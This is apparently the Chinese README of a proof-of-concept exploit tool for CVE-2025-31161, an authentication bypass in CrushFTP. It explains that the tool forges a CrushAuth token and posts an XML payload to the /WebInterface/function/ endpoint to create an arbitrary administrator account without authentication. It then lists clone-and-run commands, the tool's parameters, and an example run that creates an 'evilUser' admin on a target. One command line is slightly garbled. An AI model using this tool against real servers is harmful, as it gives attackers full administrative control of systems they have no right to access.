PoC CVE-2025-31161 - CrushFTP 认证绕过
CrushAuth 令牌并创建完全特权的管理员用户。此漏洞利用工具针对 CrushFTP 中的一个严重漏洞,允许远程未认证的攻击者 绕过身份验证 并 创建任意管理员用户。
其工作原理是伪造一个看似有效的 CrushAuth 令牌,并滥用 /WebInterface/function/ 端点提交一个完整的 XML 负载。
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345